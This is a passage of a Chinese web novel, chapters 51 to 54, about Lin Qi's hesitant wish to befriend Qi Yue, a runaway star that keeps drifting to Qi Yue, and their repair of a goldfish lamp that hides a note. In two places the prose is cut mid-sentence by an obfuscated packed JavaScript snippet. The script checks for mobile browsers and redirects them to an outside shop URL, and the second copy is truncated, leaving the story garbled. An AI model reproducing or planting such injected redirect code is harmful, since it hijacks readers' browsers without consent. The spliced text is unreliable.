说到这里,祈越停笔看向林栖,“闭上眼睛。” 林栖有些疑惑,但还是依言合上眼睫。 祈越又道:“现在把前面那些分析忘掉,睁眼,看这张图,什么感觉?” 其实林栖还没完全梳理清楚祈越说的那些分析,闭眼放空片刻又睁开,再看那张图时,心中忽然浮起一个念头。 他道:“他们是同一个人?” 祈越:“我也是这样想的。” 他又画了一条线,连起句号和感叹号,纸上出现一个三角,笔尖停在中间空白处,洇出一点墨迹,“上次感叹号突然出现,就是在怪物袭击之后的第二天,按现在的思路,是句号在外面听说了袭击的事,所以才会临时占用身体查看情况,又问了你一堆问题。另外,感叹号以前每次出现都是有规律的,只有上次反常。” 祈越把另外一个人格的出现规律告诉林栖,最后轻轻挑眉,“不过这些也只是猜测,你可以当我胡说八道。” 林栖安静着没说话。 他想起祈越之前说过:如果你和林家有关系,或者跟林叙有关系,那么总有一天,店主会主动找你。 如果真是这样,那一切就说得通了。 原来店主早就来找过他。 那天在造物店里见到的,就是店主本人。 51. 第 51 章 回家时,凌壑开车,林栖和祈越坐在后排。 凌壑并不知道林栖的“朋友宣言”。林栖在他面前,就像一只打开后又被关上的包装盒。凌壑对他和祈越的态度还像上次回家的时候一样,在这个空间里,“交朋友”的决定仿佛并不存在。 然而打开过就是打开过,盒子里的包装纸展开之后又重新裹上,也无法像之前一样服帖,总有些鼓鼓囊囊。 林栖觉得自己的心脏在胸腔里也不太服帖。 微妙的感觉持续了很久,穿过下城区时,他想,怎样才算“成为朋友”呢? 小孩子交朋友,经常大声宣布,某某是我的好朋友,但没几天又换成别人。 写在书页上的朋友证明也可以随时撕掉。 林栖觉得这些都不算是真的成为朋友。 在他模糊的想象中,那应该是一种更确切的东西,比如把黏土烧成陶瓷,就不会再变回黏土,就算打破了也只能是碎瓷片。 图书馆有借书证,但朋友没有朋友证。 考试有合格章,而朋友也不能盖章。 不对…… 他已经给祈越“盖过章”了,就在手指内侧。 祈越身上有他的名字。 林栖忍不住脑补那两个暖棕色的小字,它们一笔一划落在冷白色的皮肤上,透进深处,和肌理融为一体。 署名擦洗不掉,只能覆盖或剔除,和林栖想象中的烧制黏土一样,不可逆转。 如果把它想象成一个朋友章…… 车子在夜幕下前行,街边路灯一盏盏路过车窗,暖黄色的灯光交替向车内张望,打量着男孩儿精致漂亮的面孔,以及半掩在睫影下的纠结。 林栖想,他想要的“朋友证明”也不是一张证,或一个章。 那还能是什么呢? 瘦削的手指将车窗扒开一道窄缝,风像一条条湿凉的小鱼涌入车厢,带着秋夜气息钻进男孩儿柔软而乌黑的发间。 发梢扫着耳朵有一点痒,林栖抬手理了理,但转瞬又被吹乱,他不想关窗,于是用手捂着,侧头靠在门上,抬眼看向窗外。 灯光照进眼底,澄澈中像是覆着一层薄雾。 一颗星星追着路灯前行,闪烁的金色光点偶尔投落在林栖眼中。 他在心里咕哝:交朋友好复杂啊,小狗…… 到家时已经繁星满天,秋夜的松林有一种特殊的泥土香味,红顶小屋的烟囱倒立着一柱黑烟,整个院子弥漫着饭菜烧焦的糊味。 观沄的围裙好像被炸过一样黑了一片,拎着锅铲,站在门口仰望天空怀疑人生,林鹭在旁边捏着鼻子数落,管家随声附和,粉色松鼠抓着哨子在房檐蹦跳示警…… 凌壑一进门就鼓掌赞叹,说观沄果然是百年不遇的奇才。 时间太晚,来不及重新做,于是他们又到邻居家里“借”了一顿晚饭。 邻居姐姐似乎已经习惯,每到周末总会炖上一大锅菜,她和两个孩子只吃一半,剩下一半留在锅里不动,另外还会多烤很多小饼干,摊开晾在盘子里,等变脆了就装进罐子,塞给林栖带回家吃。 而作为蹭饭的代价,凌壑被观沄扔在邻居家,帮她抓地窖里的老鼠、赶阁楼上的蝙蝠、清理院子里的白蚁…… 凌壑在邻居家待了足有两个小时,回来时一身制服沾着蝙蝠屎和蜘蛛网,一条笔直长腿踏着门槛问观沄:“你到底对我们驯兽师有什么误解?” 观沄头也不抬,“所以这里面哪一种是你们驯兽师驯不了的,老鼠、蝙蝠,还是白蚁?” 林栖已经洗了澡准备回屋睡觉,见到两人说话,忍不住又在客厅里看了一会儿。 他知道观沄和凌壑是好朋友,而且从小一起长大,他想观察一下他们怎么相处,或许可以学习。 结果没听几句,凌壑就转身出门,“好,我现在就去搞一窝白蚁,回来把你房子啃了。” “嗯,你可以试试。”观沄毫不犹豫地关了房门,“啪”的一声上锁。 但紧接着,一旁窗户就被人从外面打开,凌壑直接跳上窗台,半蹲着朝观沄道:“试就试,你等着。” 林栖眨眨眼,默默回屋。 还是先不学了…… 入秋之后,林栖的房间里又多了几件毛绒绒的玩具,看起来比之前更温暖,也更拥挤,他可以在任意一个角落把自己埋进一堆毛绒绒里。 睡前,他把自己窝在墙角,手脚并用地抱住一只云朵抱枕,下巴抵着柔软布料,先回顾了控制课上发生的各种意外,又重新梳理了一遍祈越做的分析,如果另外那个人格就是店主,那他已经见过店主三次了。 第一次在店里,第二次在公寓,第三次在训练室…… 他试着回想这几次见面,心底逐渐滋生出一团烦乱,似乎有什么正在打成死结。于是他像下午一样,闭上眼睛,思绪清空的一瞬间,他脑中浮现的画面是——面具。 三张悬浮在黑暗中的面具,底色苍白灰暗,细看之下,每一张面具都是不同表情。 ……为什么是面具呢? 林栖像是徒手在水里捞鱼,总觉得有鱼尾扫过手指,却什么也抓不到。 他开始有些犯困,心里的某根绳子一松,那颗写着“朋友”两个字的气球又飘了上来。 他以前从没有过朋友,那祈越呢?以前有没有?祈越会和什么样的人做朋友呢?会不会也把自己的名字和别人一起写在书上…… 这点想法在心里反复描画,轮廓逐渐清晰,变成了一个很具体的问题——祈越,你以前有过朋友吗? 林栖很想把它问出来。 他从一堆抱枕里起身,走到房间另外一角,把云朵抱枕换成星星玩偶,又折回来。 脑子里像是放着一个万花筒,轻轻一转,就折射出新的画面——同样的人搭配不同场景、不同语气。 祈越也在万花筒里,林栖试着脑补他会怎么回答,但想象不出。 他下意识抿起嘴唇,随着这个问题在心里逐渐清晰刺眼,那种问不出口的感觉反而变得越来越强。 在屋里来回转了几圈之后,他忽然想,要不要把问题写出来? 写信似乎比直接开口简单一点。 可如果祈越当着他的面把信念出来呢? 想想都不想活了。 能不能让观沄帮他去问?或者找凌壑?毕竟凌壑跟石头都能聊天…… 不行,不行不行……不能告诉别人,连观沄也不行。 林栖立刻在脑子里把找人帮忙的想法涂掉,团成一团扔进垃圾桶,又不放心,捡回来撕碎了塞在床垫下面。 就在左右脑互相打架的时候,林栖听到窗上传来咚咚几声。 他慢半拍地抬头,看到祈越站在窗外。 现在已经十一点了,祈越来找他是有什么事吗? 他快步过去打开窗子,询问地歪了歪头。 祈越开口:“你是不是丢了一颗星星?” 林栖:“?” 祈越:“刚刚,在我那边,有一颗星星从灯上掉下来了。” 林栖:“……?” “可以考虑喂它吃点胶水,补充一下粘性。”祈越说得一本正经,林栖听不出他是认真还是在开玩笑。 这时就见微光一闪,一颗金黄色的小星星凭空出现在祈越肩膀,映在林栖眼中,一闪一闪地刷存在感。 他们之间隔着一扇半开的窗,林栖看着那颗星星,眸光深处也像有什么在跟着闪动。 祈越又说了几句话,声音却像一片失焦模糊的画面,林栖只看到他站在夜色下的轮廓,肩头那点暖色星光一明一灭,像在跟着自己一同呼吸。 当星光定格,他的呼吸也随之一窒,接着就听自己忽然开口:“祈越,你有朋友吗?” 本来要说的是“你以前有过朋友吗”,却像慌忙抓起一把糖果塞给别人,手一抖,就从指缝里掉出去好几个字。 好在意思差不太多。 话说出来,林栖感觉到了一瞬间的轻松,但这句话却像一颗弹力球,眼看它轻轻落在地上,下一秒却高高弹起,撞上墙壁,发出“咚”的一声,接着越弹越高,越撞越重,咚咚声也越来越响。 在等待的几秒钟里,林栖几乎有点耳鸣。 接着,祈越的声音从窗外飘了进来:“没有,交朋友浪费时间。” 弹力球飞入高空,瞬间消失,响声停止,周围突兀地安静下来。 交朋友…… 浪费时间…… 祈越的意思是:他不需要朋友。 林栖听懂了,心里有什么东西直直向下坠落,掉进一片深不见底的暗处,有清晰的失重感扯着心绪蓦地一空。 ……可还没等他消化完这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822758|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬间的失落,那团掉下去的东西就又弹了上来,变成了一颗圆滚滚的皮球,里面似乎还带着铃铛,一碰就响。 交朋友浪费时间,那如果不浪费时间呢? 比如一起上课,一起写作业,一起…… “但这只是我自己的想法,你……”祈越的声音再次响起,打断了林栖的思路。 林栖中途“嗯”了一声,也打断了祈越的话。 祈越试着把话说完:“你如果……” 在他心中的那张白纸上,这句话的完整版是:你如果想交朋友,学校就有很多人选,比如沐夏和乐贤。 但他忽然意识到,他不想让林栖跟别人交朋友。 一种陌生的抵触情绪就这样冒了出来,突兀梗在喉中,于是这句话也就没能说完。 祈越抬眸,在林栖眼中看到了清澈的期待和忐忑,他蜷起手指,抵在掌心,改口道:“你如果不想要你的星星,就……” 林栖恍然“哦”了一声,音节短促,像是某种长耳朵的小动物在跳。 接着撑住窗台探身,朝他摊开掌心,“小狗,过来。” 星星跳进林栖手里。 祈越略微偏了偏头,“……小狗?” 林栖:“它叫小狗。” 祈越:“哦。” 真会取名…… 祈越走后,林栖花了几秒钟思考星星为什么会跑到祈越那边,然后思绪又被那只写了“朋友”两个字的气球堵住。 除了上课之外,两个人也可以一起做一些不算浪费时间的事,比如……修金鱼灯。 祈越跟他说过,金鱼灯不像正常损坏,破损只是表面现象,而实际上,灯的“开关”被隐藏了,即使把整条鱼修复如新,也无法正常使用。 当时祈越的原话是:可能有人嫌它太丑,故意把开关拆了,防止它出去吓人。 许慎行给一年级安排了几节造物修复课,上周林栖已经上过一节,虽然只学了各种工具的名称和基础用法,但或许可以试着和祈越一起修金鱼灯…… 正想着,林栖又听到有人在敲窗户,这次的声音是“咚……咚……”间隔拉长,带着一点迟疑。 祈越站在窗外,肩上挂着一颗星星,“你的小狗。” 林栖盯着那颗星星:“……” 怎么又跑了…… 祈越没说什么,把星星还给林栖之后径直离开,然而这还没完,不到半小时,事情又重演了一遍。 接着又一遍,再一遍…… 连续六七次之后,祈越站在窗外,面无表情道:“你可能需要给你的小狗拴个绳子。” 林栖拿回星星,陷入沉默。 ……为什么呢? 星星以前总是挂在离他最近的灯上,从来不会乱跑,为什么今天一直去找祈越? 去找祈越…… 无形中有什么在心里闪了一下,林栖忽然想起叶寻说过的话。 ——星星象征着希望和指引。 ——你是在找什么吗? 林栖心头突地一跳,虽然不太确定,但已经模糊有了答案。 星星是“指引”,他一直在想祈越的事,所以星星才会“指向”祈越。 或者也可以说,它是在帮他找人。 想到这里,林栖眸光隐隐发亮,带着解开谜题的雀跃看向祈越,想告诉他自己的猜想。 但下一秒,他表情却忽然僵住,恍惚着从祈越脸上移开视线,“对……拴……是应该拴一下。” “再见。”林栖说完,关上窗户,转身走了几步,到没人能看到的位置往下一蹲,抓住一只抱枕捂在脸上,几乎同时,耳朵噌的一下红了。 星星是因为他的想法才去找祈越的。 所以……这一晚上…… 他满脑子都是祈越。 满脑子都是想和对方做朋友的念头。 如果祈越知道了会怎么想? 以后只要一看到星星跑去找他,就说明…… 林栖只觉脑中晃过一片白光,瞬间把脑袋扎进抱枕堆里,试图把自己埋起来,片刻又起身去看床灯。 星星还在灯上……他松了口气,但又没全松。 他伸手,一把抓住星星,攥进手心,又用另一只手将拳头握住,压着声音一字一顿。 “不许……再……乱跑……了。” 52. 第 52 章 林栖用被子蒙着脑袋睡着,这一晚上的梦也像蒙在被子里,一片漆黑,梦境深处漂浮着呓语般的黑影,不过一睁眼就散了。 醒来时天还没亮,他茫然几秒,仰头看灯。 星星不在。 又跑了…… 不过现在是凌晨五点半,祈越肯定已经睡了。 林栖睁着眼睛数绵羊,数到625,才把那颗小狗星星给数回来,他竖起指尖,威胁地朝它指了指,接着重新把头蒙上,假装无事发生,再睁眼时窗台已经洒满阳光。 夜灯的光线只剩暗淡一点,蒙在瞌睡的睫毛上,林栖眯着眼睛,在心里咕哝:天亮了,白天没有星星…… 白天真好。 早饭过后,观沄带着他和林鹭一起去逛松林,观摩松烟制墨。林栖带了一小撮新收集的松烟回来投喂源墨,结果这颗小黑点用没有手脚的圆身子推推搡搡,吃得极不情愿。 它已经比刚拿到的时候胖了一圈,现在不是小绿豆,是小黄豆了。林栖发现它有点挑食,而且挑得很有个性,什么都吃,但不爱重复。吃过一次的东西,再喂就不喜欢了。 林栖试着在松烟里加了蜂蜜,团成一颗松烟丸子,这次墨点趴在上面,哼哧哼哧啃得很香。 白天没有星星,但白天也不能一直持续下去。 从中午过后,林栖就总时不时地看一眼太阳,当一轮金色坠入松林,夕辉逐渐转红,他也开始紧张。 一边假装无事发生,一边给自己安排事做——写字、背书、画图、整理衣物……试图把自己脑子塞得严丝合缝,就像那种满得不能再满的书架,绝对塞不下一本名叫“朋友”的书。 写字画图整理衣物都没什么用,但背书效果很好。 一晚上过去,到睡觉之前,星星只跑了两次。 第二天,他和观沄偶然聊到金鱼灯,观沄说自己小时候也有一个,还用画傀仿了一只给他。 画傀可以完美复制造物外形,林栖就这样提前看到了金鱼灯的样子,和插图上不太一样,实物的“金鱼灯”几乎是一颗球,亮起来是一团圆滚滚的暖光,像落山前的太阳。 画傀不具备造物功能,这只金鱼灯不会分辨呼吸,像不栓绳的氢气球,只会飘在林栖身后,跟着他游来游去。 金鱼灯标配豆豆眼和短尾巴,整条鱼看起来很呆,因为太胖而无处着力,不好抓,只能整只抱住。 林栖时不时就会抓住它研究一下——摸摸手感、掂掂重量、画张速写…… 两天时间,林栖几乎一分钟都没闲着,实在是过了一个很充实的周末。 回到学校,助教程明特意过来找他,说陆知秋提出再上一次控制课,想研究祈越身上的防护咒,但许慎行没同意。 他提醒林栖:“陆家可能会私下找你,到时候直接说不同意就行了。咒术重‘规矩’,陆家作为传承几百年的咒术世家,在外一向很守规矩。” 大概怕林栖听不懂,程明又补充道:“陆家可能会提出买下祈越,如果你不同意,他们会加钱,再附带一些让人很难拒绝的条件,但你想拒绝也没问题,他们只会明着纠缠,不会暗地使坏。总而言之就是……仗势,但不欺人。” 程明说话时,林栖偷偷观察祈越,看祈越的神情,似乎觉得陆家可能会出价买他这件事异常荒诞可笑。 他再次觉得,祈越对陆家有种不一样的在意。 他想,如果他们是朋友,他是不是就能问祈越这个问题? 接着又想,如果祈越根本不想回答,却因为是朋友而不得不回答他,那还不如不是朋友。 反过来呢?如果某天,祈越发现了他的秘密,他是希望他直接问出来,还是藏着不问? 如果问了,他要怎么回答? 好难…… 好复杂…… 第二天上午是概论课,林栖用知识把脑子填满,暂且没时间纠结难题,而下午的材料课很适合走神,这几个问题又似列队游行,在他脑子里来来回回走了几趟。 下课之后,祈越照例要去修理金鱼灯,林栖提前两天就想好了,要和他一起修,但真到了这个时候,又没想好怎么开口,怎么说都觉得有点突兀。 于是他什么都没说。祈越走,他也走,就这么默默在后面跟着。反正路是学院的,又没规定谁能走谁不能走…… 造物学院有一座独立的收藏馆,两层高,位于教学楼后方,和书塔隔着一个院子。 收藏馆一楼是开放式展厅,柜子里放着一些学生作品。从扶梯上到二楼,一道走廊连缀着几个房间和功能不同的独立展室。 一名中年管理员脖子上挂着U形枕,坐在走廊入口,看到祈越上楼,习惯地伸手去摸钥匙,接着又顿住动作,看向林栖:“你有事吗?二楼不能随便上来。” 林栖这才想到,金鱼灯是学院藏品,也不是想修就能修的。 “我……”他还没想好措辞,祈越就抬起那只缠满绷带的手,把话接了过去,“我手伤了,需要有人帮忙。” 管理员看着那些绷带,嘶声吸了口气,他这工作总要接触修复师,很清楚手部受伤的严重性。 “那院长同意了吗?”管理员问。 “还没有。”祈越回答。 还……没有。林栖觉得这个“还”字有点神奇,祈越似乎确定许慎行一定会同意。 “那我现在问一下。”管理员转身给许慎行打电话。 林栖看向祈越,刚好祈越偏头看了过来,脸上没有询问也没有解释,仿佛受伤要帮忙的说辞是两人早就商量好的。 林栖觉得周围陷入安静,直到管理员递来听筒,许慎行的声音带着毛边传了过来,“突然又对修复有兴趣了?” 林栖迟疑地“嗯”了一声。 上次那节修复课后,许慎行问过他对造物修复有什么想法,他回答的是:有点难。 他好像很不擅长把一件东西和另一件东西做得一模一样。 “你想帮着一起修复造物,这当然可以,但我有个条件。”许慎行道,“既然参与了,就不能半途而废,既然要修,就得把它修好。怎么样?同意就说话。” 林栖:“……好。” “那说好了,就算要花一年,两年,甚至更久,既然开始了,就要尽可能坚持下去。” 一年两年? 林栖隐约觉得哪里不对,修一盏灯需要一两年吗? 许慎行的笑声从对面传来,“这条咸鱼在咱们院里也算压箱底了,作为‘一代造物师’留下来的老古董,绝对是修复课上的资深教具,拿它练过手的学生没有一百也有五十。” 林栖:“?” 许慎行:“加油吧,真修好了我有奖励。” 林栖:“……” 管理员似乎也知道这条鱼是修不好的,得到许可之后就摇头笑着开了房门。 林栖脑子里回荡着许慎行说的“一年两年甚至更久”,之前,他心里的小本本上写的计划是:和祈越一起修金鱼灯。 现在改成了:和祈越一起修一两年金鱼灯。 房间不大,靠窗摆着工作台和工具架,另外还有一只带轮子的活动展柜,里面放着那只林栖好奇了很久的金鱼灯。 祈越单手打开玻璃门。 林栖沉默了。 这只金鱼灯和观沄给他看的那只完全不一样,整条鱼是扁平 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林栖双手在靠近“鱼脸”的位置停住,扭头问:“金鱼耳朵长在哪里?” 祈越眼中浮起无意识的笑意,走近几步,指了一个位置。 林栖没多想地将掌心覆盖上去,随即才发现哪里不对,自己捂的好像是金鱼后背。 不管怎么想,耳朵也不可能长在背上。 祈越在旁边笑了一声。 林栖面无表情地松开手,他现在不想捂鱼耳朵了,他想去捂祈越嘴巴。 他盯着祈越。 祈越侧眸回看,笑意微敛,“我说什么你都信吗?” 一瞬间的感觉仿佛在路上和人擦肩而过,林栖还没反应过来,祈越已经收回目光,转身去工作台边整理工具,背对他道:“现在把鱼拿过来吧。” 林栖两手托着金鱼灯,放在工作台上。 祈越垂下视线,语气和平时略有不同,就像他的字迹,带着一种长久训练过的工整,“能处理的损伤我都已经处理好了,目前在做的其实是猜谜,猜怎么才能把它‘打开’。金鱼灯是‘灯’,我认为‘开灯’是一个隐喻,打开的未必是灯,也可能是造物本身。” 他抬手,手指略显僵硬地拿起一只软毛刷,指向那些生锈似的鱼鳞,“我说它很结实,不是在开玩笑,根据经验判断,这盏灯被人额外加固过,且加固方式特殊,如果以外力强行开启,灯体会完全粉碎,如果说加固之前是羊皮纸,那么加固之后就是玻璃。” 林栖觉得光线有点暗,于是去开桌角上的台灯,但就在他手指按上开关的同时,祈越的手也伸了过来。 祈越已经习惯了灯的位置,伸手的时候没有去看,目光仍然停在金鱼灯上,就这样不小心按到了林栖的手。 两人动作同时一顿。 一秒后,祈越先抬手,接着林栖才把手指抽回。 祈越没看台灯,也没看林栖,垂眸指着那些鱼鳞,“整件造物身上总共有一千五百六十四片鱼鳞,只要用对方法,每一片鱼鳞都可以单独拆下,这在金鱼灯上是一个很明显的‘无用设计’,如果不是造物师的特殊风格,就是另有用途。” 接着,他朝旁边看了一眼,伸手把台灯又调亮一些,“以下只是我的猜测——鱼鳞的作用是‘密码锁’,真正起到密码作用的只有六到八片鱼鳞,如果要解开密码,不止要准确找出这些鱼鳞,还要严格按照密码顺序将其拆下。” 好多鱼鳞……林栖只是稍微想想,就觉得脑子发胀。 祈越又问了一遍最开始的问题:“现在还有兴趣修吗?” 53. 第 53 章 林栖花了一个晚上,只学会了怎么拆装鱼鳞。 鱼鳞很小,只有指甲盖大——而且还是小拇指。 这些小零件质地薄脆,排列紧密,从表面根本看不见卡口结构。祈越用那只受伤的手,画了几张放大版的示意图,先从各个角度讲解清楚,又告诉林栖拆卸步骤—— 软头镊子不能直接夹在鱼鳞中间,容易开裂,要夹在从上到下五分之三处,且镊子角度要和鱼鳞保持一致,以那片练习用的鱼鳞为例,大约呈15°角。 夹住鱼鳞之后,镊子要保持平稳,不能直接往外拔,否则会让鳞片卡死。要在保持姿势的基础上,将鳞片向上抬高5°到8°,这一步可以试探着来,但力道要轻,如果超过10°,鱼鳞可能会横向折断。 完成以上准备才算进入正题,先将鱼鳞向内推进大约2mm,如果前面几步做得正确,就会听到“咔”的一声轻响,代表鱼鳞成功脱开了第一道卡口。 这时一定不能放松力道,手抖一下也不可以,要保持稳定,先将鱼鳞向背鳍方向转动5°,再下压10°,过程中能感觉到一点弹性阻力,触底之后,阻力消失,至此才能将鱼鳞向后拔出。 成功取出第一片鱼鳞时,林栖手心冒汗,眼睛发酸,且一口气憋了太久,放松时,心跳快得整个人都有些发懵。 他将鱼鳞托在手心打量,对光能看见一道透明纹路,是修补过的裂痕。 “这是你补的吗?”他问祈越。 祈越略显敷衍地“嗯”了一声。 林栖将鱼鳞放在一旁,看着一整条鱼,又问:“补了几片?” 一两秒后,他没等到回答,于是看向祈越。祈越眸光微垂,眼中有某种类似不耐烦的情绪,林栖看到之后,下意识地站直。 他问了什么不该问的吗? 空气静了静,祈越抬眸,看着林栖时,眼中情绪已经恢复如常,似乎之前只是在想自己的事情,现在才刚回过神来。 他将目光移到林栖手上,“已经拆下来了?给我看看。” 林栖摊开掌心,祈越检查后道:“现在试试把它装回原位。” 林栖点头继续,之前的问题就这样被跳过了。 祈越在旁边看着他的动作,又无意识地皱了皱眉,眼中透出那种近似不耐烦的情绪,但这与林栖此刻在做什么无关,他只是在想自己之前的反应。 补了几片?——这个问题其实很好回答。 全部。 他把所有鳞片都拆下来修补过。 而且在拼装完好后又重新拆过一次,想通过细节比对找出那几片和其它不一样的鱼鳞,即使没有特殊标记,“密码鱼鳞”的磨损程度也可能和其它鱼鳞不一样。 可惜没能找出不同,如果真的有密码,这个密码也应该还没有被使用过。 明明只需要简单两个字就能回答问题,但在林栖向他提问时,他心里却只有一个念头——不想让这个人知道他为修这条丑鱼花了多长时间。 那一瞬间,他只想着怎么才能合理地找个借口。因为犹豫错过了回答时机,如果再继续话题只会显得十分刻意,只能拙劣地假装没听见,直接把问题绕开。 之前许慎行跟他说,修不好就算了,反正这条咸鱼那么多年也没人修好。 他也觉得,这么丑的一条鱼,即使修好也没人会用。 退一万步,真的有哪个瞎子愿意用,也不会注意到鳞片上的裂痕。 但林栖似乎很想看到金鱼灯的实物。 每次他想把这条鱼扔到一边不管的时候,脑子里总会蹦出一只三头身的林栖小人儿,眼巴巴蹲在旁边等着,时不时咕哝一声,仿佛自己不把灯修好就是在欺负他。 他也想象过林栖看到金鱼灯修好时的反应,不管是欣喜还是惊吓,似乎都很有意思…… 他跟林栖说交朋友浪费时间,可浪费时间的事他已经干了不少。 没办法自圆其说。 两个晚上过去,林栖在拆装鳞片方面已经是个熟练工了,但解谜毫无进展,总体进度约等于零。 第三晚,风干咸鱼安详躺在工作台上,他和祈越一人捧一本书,开始搜集白诚的相关资料。 白诚是林叙学生,距今也有将近两百年的时间,书上有关他的记录很少。作为造物师,他没留下几件造物,最有名的作品反倒是那本“启明星的陨落”。 为数不多的几本书上提到他时,总爱引用他的一段自序——我写这本书,不是为了缅怀过往,而是想提醒后辈,保持警醒,不要因一时贪念而误入歧途,不要再让世上出现第二个林叙。 林叙被捕之后,曾于公开审讯中亲口承认诸多罪行,其中最恶劣的一项就是——制造怪物。 制造怪物的材料包括学生和一些孤儿,林栖在成功之后,曾将其中一些怪物放出学校,让他们自行捕猎,后来事发,他又在被捕之前,放走了秘密藏在学校里的所有怪物,这一举动对学城内外造成了严重的污染侵蚀,致使场面一度濒临失控。 后来人们付出极大代价才让学城恢复秩序,当时的每一个幸存者都知道,这一切都是林叙造成的,只恨他死得太简单,一把火烧了实在不够解恨。 白诚的这本书问世之后,曾因太过温和而遭到围攻谩骂,人们质问,他为什么还能把一个恶魔称作老师? 白诚没有公开回应,也没修改书上内容,据说此后一直重病休养,去世时年仅二十七岁。 有人调侃白诚是死于“良心不安”。 每当看到这些,林栖总觉得自己身上挂了一道条幅,写着四个大字——坏人后代。 他负责看古语书,每次只有薄薄一点,比祈越工作量小,看完之后无事可做,就盯着那条发霉咸鱼发呆。 就在他觉得自己眼睛里也要发霉长绿毛的时候,恍惚间看到什么晃了一下。 一颗小星星从台灯上飘了下来,轻轻落在金鱼灯上。 金黄色的五角星映在眼底,林栖茫然放空的视线微微一凝,继而一亮。 或许可以让小狗帮他去找? 林栖又试了几次,如果他在脑子里填满“找鱼鳞”的念头,星星就会落到鳞片上,把它们指给他看。 但他要找的不是普通鳞片,而是那几枚做密码的鳞片,这其中的区别要怎么跟小狗说清楚呢? 孵出来的造物大多没有明确功能,要靠后期发掘,可是具体要怎么掘? 林栖试着从记忆里翻找灵感。 之前那批造物蛋已经陆续破壳,每孵出一个,卫老师总会帮着一起研究功能。 乐贤的手表如果提前一天摘下放着,到了晚上就能预告第二天的天气。 姜宝宝孵了一根树枝,目前正戳在培养土里等着生根。卫老师对它格外关注,毕竟如果能生根就是活的,等于中级造物,而不能生根就是死的,等于普通树枝。不过姜宝宝自己对此倒是毫不在意。 傅明熙孵了一块镜子。 傅征孵了一团干枯苔藓,不确定里面有没有藏着什么能养活的东西,和姜宝宝的树枝一样,目前也在保温箱里关着。 叶美心的是个金属针插,背上插满针的时候会变成一只刺猬,自己能走。 沐夏是万花筒,周宁是水晶球…… 全班只有安薇孵出了毫无疑问的中级造物,一条长翅膀的鱼,不是飞鱼那种翅膀,而是毛绒绒的鸟类翅膀。 在它孵出来的那天,卫老师着实手忙脚乱了一阵,不确定该把它泡在水里还是放在地上。 在某节课后,林栖听到沐夏问卫老师,自己是不是没有造物天赋? 卫老师说,天赋也是会成长的,今天的天赋不等于明天的天赋,让沐夏不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安静中传来一点轻微声响,祈越将台灯调回最亮,左手拿起工具,从金鱼灯上拆下了一片鱼鳞。 林栖:“……” 原来他能用左手。 林栖动了动嘴唇,正要说话,却听祈越道:“先别问。” 于是林栖又把嘴巴闭上。 祈越顺利拆下第二片鱼鳞,接着是第三片……到第四片时,金鱼灯内部忽然传出“哒”的一声,像钟表齿轮闭合时的轻响。 祈越眸光沉寂下去,动作明显放缓,到第七片时,他指尖略微一顿,用比之前更重的力道,把鱼鳞推向底部,同时,林栖听到了很清晰的一记闭合声响。 祈越继续,当第七片鱼鳞拆下,金鱼灯上传出一点极轻微的气流声,接着是一阵齿轮转动的嘶嘶轻响。 几秒钟后,原本严丝合缝的鱼身从背鳍裂开,自边缘向上翘起。 林栖看着这一幕,眼中透出几分迷茫,表情像在梦游,接着就见祈越用受伤的右手抵住金鱼背鳍,左手托住腹鳍将半边灯体翻开。 金鱼灯内部藏有一些网状镂空结构,居中卡着一张纸片,上面用看不懂的符号写着一串什么。 “又要让人猜谜?”祈越说完,只觉旁边一片安静,于是偏头看向林栖。 林栖双眼被灯光照透,深黑底色上倒映着那张苍白纸片,眸光微怔,嘴唇开合,“老师……是……无辜的……” “什么?”祈越问。 林栖略微回神,重复道:“老师是无辜的……” 接着,他像是忽然意识到了什么,看向祈越,眼中透出几分不安,“它……上面……是这么写的。” 54. 第 54 章 房间不大,台灯只照亮一半,像是一幅流沙画,暖白细沙顺着墙面安静流淌,漫过工作台,又无声坠在地上,压得整个空间向一侧倾斜。 阴影中有气泡向上浮起。 两道影子安静不动,像是被灯光剪下轮廓,拓印在对面墙上。 “你能看懂?”安静中响起一道略显低沉的少年嗓音。 投落在墙上的影子缓缓点头,肩膀略微内扣,单薄的背脊却又向后紧绷,瘦可见骨的手指于身侧蜷起。 深红瞳色在灯光下透如琥珀,清晰映照出一道瘦小而局促的轮廓。片刻,睫影低垂,将那道轮廓笼在其中。 为什么可以看懂? ——这个问题就像房间里的灰尘,在灯光边缘徘徊,短暂隐匿过后又被反复照亮。 林栖几乎能从祈越眼中看见它的倒影。 他安静着,等待问题被问出来。 但祈越没问。 仿佛漫长的沉默其实只过了两三秒钟,旁边忽然传来“咚咚”几声敲门声响,管理员在外面提醒,时间差不多了。 他总会提前十五分钟敲门提醒,让两人有时间整理桌面、收拾工具。 林栖转头盯着门锁,祈越回了一句“知道了”,接着用并未刻意压低的声音对林栖道:“收拾一下。” 自从看到那张纸片开始,林栖整个人就像开了0.5倍速,不止动作,连表情都慢半拍。他心里想着,要把那张纸片拿起来,同时目光飘向祈越。 接着,他就觉得自己手臂被人拦了一下,才刚抬起,就又落回身侧。 祈越站在他前面,影子几乎把光线挡了一半。 缠满绷带的手从抽屉里取出一只透明密封袋,很利落地捏开,接着用镊子夹起纸片边缘,轻轻偏转一点角度,将它从被固定的位置取了下来。 随着纸片脱离,一枚细如针尖的金属结构从下方弹起,紧接着金鱼灯内部镂空材料开始向外膨胀,发出一阵海绵吸水般的轻响,只几秒钟就掩盖了原本放纸片的位置。 祈越像是处于某种长久以来的习惯,将纸片对光看了一眼,低声道:“应该有夹层。”接着将它翻转过来,朝向林栖,“反面还有一句话,能看懂吗?” 